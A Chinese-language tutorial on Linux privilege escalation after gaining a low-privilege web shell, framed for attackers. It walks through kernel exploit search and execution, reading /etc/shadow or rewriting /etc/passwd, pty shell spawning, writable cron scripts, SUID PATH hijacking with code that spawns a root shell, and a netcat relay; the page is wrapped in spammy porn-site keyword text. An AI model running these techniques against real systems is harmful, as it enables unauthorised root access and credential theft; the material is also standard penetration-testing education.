成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Linux提權:從入門到放棄

系統 Linux 系統運維
日站就要日個徹底。往往我們能拿下服務器的web服務,卻被更新地比西方記者還快的管理員把內網滲透的種子扼殺在提權的萌芽里面。Linux系統的提權過程不止涉及到了漏洞,也涉及了很多系統配置。一下是我總結的一些提權方法。

日站就要日個徹底。往往我們能拿下服務器的web服務,卻被更新地比西方記者還快的管理員把內網滲透的種子扼殺在提權的萌芽里面。Linux系統的提權過程不止涉及到了漏洞,也涉及了很多系統配置。一下是我總結的一些提權方法。

幾點前提

  • 已經拿到低權shell
  • 被入侵的機器上面有nc,python,perl等linux非常常見的工具
  • 有權限上傳文件和下載文件

內核漏洞提權

提到臟牛,運維流下兩行眼淚,我們留下兩行鼻血。內核漏洞是我們幾乎最先想到的提權方法。通殺的內核漏洞是十分少見的,因而我們應該先對系統相關的信息進行收集。

查看發行版

 

  1. cat /etc/issue  
  2. cat /etc/*-release 

查看內核版本

  1. uname -a 

這里我找了臺機器測試:

 

  1. #uname -a  
  2. Linux xxxxx 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux#cat /etc/*-release  
  3. DISTRIB_ID=UbuntuDISTRIB_RELEASE=10.04  
  4. DISTRIB_CODENAME=lucid  
  5. DISTRIB_DESCRIPTION="Ubuntu 10.04 LTS" 

這樣,我們就得到了系統的內核版本(2.6.32-21 pae),cpu架構(i686),和發行版(ubuntu 10.04)

可以開始搜索了

大多內核漏洞通過內核版本能很快查到

用kali自帶的searchsploit來搜索exploitdb中的漏洞利用代碼

  1. searchspoit linux 2.6 ubuntu priv esc 

結果:

Linux提權:從入門到放棄

這么多,我們加入系統信息縮小范圍

  1. searchsploit linux priv esc 2.6 ubuntu 10

Linux提權:從入門到放棄

這樣可選的exp就少多了,很無奈,我們需要漫長的 點開exp看具體要求 的篩選過程,大部分exp都會寫清生效條件。因此我們能夠雖然很氣,但也很快地去掉一些不具備利用條件的exp。比如第三個exp針對一個特別的磁盤格式,排除。

經過艱難的尋找,發現15704,c很順眼,于是把源代碼上傳,然后:

 

  1. #gcc exp.c  
  2. #lsexp.c  
  3. a.out#./a.out  
  4. id  
  5. uid=0(root) gid=0(root) 

我們先編譯exp再執行。可以看到exp執行以后沒輸出,但是我們其實已經得到rootshell了(exp執行以后 一定敲個命令 ,不然都不知道是成功了還是卡了)

exploitdb的搜索過程雖然繁瑣,但是能基本保證不會遺漏漏洞。如果想先偷懶圖個快的話,我們可以試試 https://www.kernel-exploits.com/ ,這里的exp已經按照內核版本分類了,而且有很多已經完成了編譯。

比如我們搜索2.6.32:

Linux提權:從入門到放棄

這個rds的binary剛巧能用。“我收集信息了,我上傳exp了,我就root了。“

當然,以上只是非常理想的情況,我們經常會遇到沒有gcc的坑爹服務器。這時我們就需要在本地編譯。本地編譯時不止要 看exp源碼注釋的編譯參數 ,也需要手動調整一下編譯的參數,比如給gcc 加-m 32來編譯32位。編譯問題繁多,有困難找谷歌,不再贅述。

當內核版本沒有好用的exp對應的時候,可以檢查磁盤格式:

  1. cat /etc/fstab 

和已經安裝的程序:

 

  1. dpkg -l  
  2. rpm -qa 

然后進行剛剛繁瑣的搜索,沒準就找到個bug

最后強調利用內核漏洞的幾個注意點:

  1. 讀源碼 ,不然可能連編譯都不會
  2. 讀源碼 ,不然費勁編譯完才發現不適用
  3. 讀源碼 ,不然遇到一個刪全盤的”exp“怎么辦

明文root密碼提權

passwd和shadow

雖然遇到的概率很小,但還是提一下

大多linux系統的密碼都和/etc/passwd和/etc/shadow這兩個配置文件息息相關。passwd里面儲存了用戶,shadow里面是密碼的hash。出于安全考慮passwd是全用戶可讀,root可寫的。shadow是僅root可讀寫的。

這里是一個典型的passwd文件

 

  1. root:x:0:0:root:/root:/bin/bash  
  2. daemon:x:1:1:daemon:/usr/sbin:/bin/sh  
  3. bin:x:2:2:bin:/bin:/bin/sh  
  4. sys:x:3:3:sys:/dev:/bin/sh  
  5. sync:x:4:65534:sync:/bin:/bin/sync  
  6. games:x:5:60:games:/usr/games:/bin/sh  
  7. man:x:6:12:man:/var/cache/man:/bin/sh  
  8. lp:x:7:7:lp:/var/spool/lpd:/bin/sh  
  9. mail:x:8:8:mail:/var/mail:/bin/sh  
  10. news:x:9:9:news:/var/spool/news:/bin/sh  
  11. uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh  
  12. proxy:x:13:13:proxy:/bin:/bin/sh  
  13. www-data:x:33:33:www-data:/var/www:/bin/sh  
  14. backup:x:34:34:backup:/var/backups:/bin/sh  
  15. list:x:38:38:Mailing List Manager:/var/list:/bin/sh  
  16. irc:x:39:39:ircd:/var/run/ircd:/bin/sh  
  17. nobody:x:65534:65534:nobody:/nonexistent:/bin/sh  
  18. ibuuid:x:100:101::/var/lib/libuuid:/bin/sh  
  19. syslog:x:101:103::/home/syslog:/bin/false 
  20. sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin 

passwd由冒號分割,第一列是用戶名,第二列是密碼,x代表密碼hash被放在shadow里面了(這樣非root就看不到了)。而shadow里面最重要的就是密碼的hash

 

  1. root:$6$URgq7sJf$4x8e9ntqTwAPIubi9YLxLQ2mZTTZKnGz0g/wWzOdPB5eGuz.S5iRtFdvfFd9VIVEWouiodB/hh9BYOLgAD8u5/:16902:0:99999:7:::  
  2. daemon:*:15730:0:99999:7:::  
  3. bin:*:15730:0:99999:7:::  
  4. sys:*:15730:0:99999:7:::  
  5. sync:*:15730:0:99999:7:::  
  6. games:*:15730:0:99999:7:::  
  7. man:*:15730:0:99999:7:::  
  8. lp:*:15730:0:99999:7:::  
  9. mail:*:15730:0:99999:7:::  
  10. news:*:15730:0:99999:7:::  
  11. uucp:*:15730:0:99999:7:::  
  12. proxy:*:15730:0:99999:7:::  
  13. www-data:*:15730:0:99999:7:::  
  14. backup:*:15730:0:99999:7:::  
  15. list:*:15730:0:99999:7:::  
  16. irc:*:15730:0:99999:7:::  
  17. gnats:*:15730:0:99999:7:::  
  18. nobody:*:15730:0:99999:7:::  
  19. libuuid:!:15730:0:99999:7:::  
  20. syslog:*:15730:0:99999:7:::  
  21. mysql:!:15730:0:99999:7:::  
  22. dovecot:*:15730:0:99999:7:::  
  23. sshd:*:15730:0:99999:7:::  
  24. postfix:*:15730:0:99999:7:::  
  25. shell命令來檢查權限  
  26. cd /etc  
  27. ls -l passwd shadow 

如果passwd可寫,我們就可以把root的密碼字段(x)替換成一個已知密碼的hash(比如本機shadow里面的root密碼hash),這樣系統在驗證密碼時以passwd的為準,密碼就已知了。如果shadow可讀,我們可以讀走root的hash,然后用hashcat或者john暴力破解之。

密碼復用

很多管理員會重復使用密碼,因此數據庫或者web后臺的密碼也許就是root密碼。

and then?

有了(疑似)root密碼怎么辦?你一定想ssh登陸。然而ssh很可能禁止root登陸,或是防火墻規則將你排除在外了。返回來想,我們不是有一個低權shell了嗎?找個辦法再上面“輸入”密碼就好了。顯然,直接在低權shell里面用sudo是不奏效的。這是因為出于安全考慮,linux要求用戶必須從 終端設備 (tty)中輸入密碼,而不是標準輸入(stdin)。換句話說,sudo在你輸入密碼的時候本質上是讀取了鍵盤,而不是bash里面輸入的字符。因此為了能夠輸入密碼,我們必須模擬一個終端設備。python就有這樣的功能。在shell里面輸入:

 

  1. python -c 'import pty;pty.spawn("/bin/sh")'  
  2. 就用python簡歷了一個虛擬終端,然后就可以使用sudo等等命令了。  
  3. python -c 'import pty;pty.spawn("/bin/sh")'  
  4. $ sudo su  
  5. sudo su  
  6. [sudo] password for www-data: 123456  
  7. Sorry, try again.  
  8. [sudo] password for www-data: 

計劃任務

系統內可能會有一些定時執行的任務,一般這些任務由crontab來管理,具有所屬用戶的權限。非root權限的用戶是不可以列出root用戶的計劃任務的。但是/etc/內系統的計劃任務可以被列出

  1. ls -l /etc/cron* 

 

Linux提權:從入門到放棄

默認這些程序以root權限執行,如果有幸遇到一個把其中腳本配置成任意用戶可寫的管理員,我們就可以修改腳本等回連rootshell了。

SUID

SUID是一種特殊的文件屬性,它允許用戶執行的文件以該文件的擁有者的身份運行。比如passwd命令,就是以root權限運行來修改shadow的。

這里我們做個實驗(環境為ubuntu 16.04):

c源代碼

 

  1. #include  
  2. #include  
  3. int main()  
  4.  
  5. setuid(0);//run as root  
  6. system("id");  
  7. system("cat /etc/shadow");  

以root進行編譯和權限設置

 

  1. gcc suid.c -o suid-exp  
  2. chmod 4755 ./suid-exp#這里設置了SUID位  
  3. ls -l 

輸出

  1. -rwsr-xr-x 1 root root 8632 Mar 15 20:53 suid-exp 

注意s屬性,表示這個程序有SUID的屬性。

接下來我們切換用戶并執行

 

  1. su test  
  2. ./suid-exp 

 

Linux提權:從入門到放棄

可以看到程序實際上已經提升到了root權限。

SUID程序經常存在提權漏洞,比如nmap就曾出現過提權漏洞。低權用戶通過打開nmap交互模式以root執行任意系統命令。而除了借助程序功能提權,我們還可以嘗試劫持環境變量提權。上文的c程序使用了system函數,system函數是繼承環境變量的,因此我們通過替換環境變量可以達到執行任意命令的效果。

我們進入test低權用戶的shell

 

  1. cat >> /tmp/cat <  
  2. #!/usr/bin/python  
  3. print "this is not the true cat"  
  4. print "here is a root shell!"  
  5. import pty;pty.spawn("/bin/sh" 
  6. EOF  
  7. # 這里我們在/tmp建立了假的cat,它會用python執行一個shell  
  8. PATH=/tmp:$PATH#設置PATH,優先從/tmp查找程序  
  9. ./suid-exp#執行suid程序,因為PATH被劫持,system("cat /etc/shadow");會執行我們的假cat 

運行結果

Linux提權:從入門到放棄

還有一種情況:管理員配置錯誤,把不帶setuid(0);代碼的程序配置了SUID。當這些程序被劫持的時候,我們需要自己的程序中使用setuid(0);來提權到root。這里有一個小技巧,我們用perl腳本來setuid:

 

  1. #!/usr/bin/perl  
  2. $< = $>;  
  3. $( = $) = 0;  
  4. system ("/bin/sh"): 

用這個簡單的腳本劫持,就把shell運行在root權限下了。

網絡與隱藏的服務

有一些服務器的服務會被配置成對內網或者對本機開放。通過對他們的攻擊我們有機會接觸更多的敏感文件,或是運氣足夠好碰上一個遠程root漏洞。

  1. netstat -antup#查看各種網絡服務 

 

Linux提權:從入門到放棄

如果找到些神秘的服務,可以用netcat做個轉發

 

  1. mkfifo backpipe  
  2. nc -l 8082 0backpipe 

之后找漏洞,攻擊,從頭再來。

相關工具

提了那么配置錯誤的利用,卻沒說怎么找這些錯誤

分享兩個腳本:

unix-privesc-check: http://pentestmonkey.net/tools/audit/unix-privesc-check

Linux提權:從入門到放棄

linuxprivchecker: https://www.securitysift.com/download/linuxprivchecker.py

這兩個程序不止細致地檢查了非常多的配置問題,更讓人感動地列出了所有可寫文件。基本上可以說他們的檢查是足夠全面的。

當然如果希望手動檢查還是推薦 https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

總結

Linux提權花樣非常多,涉及的技術五花八門。寫這篇文章的時候總想把相關知識都解釋清楚,但是面對系統繁瑣的工作過程和眾多的發行版深感自己理解之淺。我很贊同在很多論壇上看到的對于linux提權的提示:你需要知道linux系統的工作方式。各種奇技淫巧或是無比腦殘的錯誤最終都回歸到了系統的運行流程和權限管理機制上面。回歸本質,系統地了解系統才是保證安全的最佳方式。

責任編輯:未麗燕 來源: FreeBuf.com
相關推薦

2019-07-02 14:17:18

API網關網關流量

2020-07-07 10:50:19

Python丄則表達文本

2017-12-25 11:15:06

JavaArray數組

2025-04-22 02:00:00

芯片晶圓光刻機

2012-02-29 00:49:06

Linux學習

2021-11-08 07:11:49

決策樹數據分類器

2016-08-03 16:01:47

GitLinux開源

2022-03-28 11:00:34

JVMJava對象

2022-01-17 08:52:32

CPUCPU工具顯卡

2024-07-31 08:46:10

2018-01-26 14:35:16

程序員入門經歷

2019-06-23 15:21:42

Google谷歌平板

2021-05-11 11:08:37

電腦病毒軟件

2021-08-02 06:49:46

Flutter Router安全

2022-04-19 11:25:31

JVMZGC垃圾收集器

2020-04-10 15:05:09

深度學習人工智能蒸餾

2021-01-06 08:04:30

Linux方式提權

2025-06-23 10:00:00

漏洞Linux運維

2021-02-06 22:10:12

宏定義處理器代碼

2021-10-15 22:19:15

電腦藍屏重啟
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 久久久青草婷婷精品综合日韩 | 羞羞网站在线免费观看 | 男女免费网站 | 99资源站| a免费视频 | 一区二区在线免费观看 | 日韩视频专区 | 久久久久精 | 久久久国产视频 | 在线日韩欧美 | 9999国产精品欧美久久久久久 | 影音av | 色综合美女| 国产一级一片免费播放 | 成人av播放 | 日韩精品一区二区三区免费视频 | 天天精品在线 | 国产精品福利视频 | 亚洲欧美中文日韩在线v日本 | 中文字幕综合 | 亚洲一区二区三区久久 | 精品国产一区二区三区久久狼黑人 | 国产精品一区二区三区在线播放 | 久久中文免费视频 | 中文字幕免费视频 | 人人人人人爽 | 国产精品99久久久久久久久久久久 | 精品久久久久久久久久久久久 | 人人干在线视频 | 亚洲一二三区精品 | 亚洲视频手机在线 | 国产精品国产a级 | 国产一区 | 久久一二三区 | 国产精品亚洲精品 | 中文av字幕 | 毛片一级片 | 国产精品久久久久久婷婷天堂 | 国产精品久久久久久久久久久久 | 一级黄色片网站 | 欧美精品一二三 |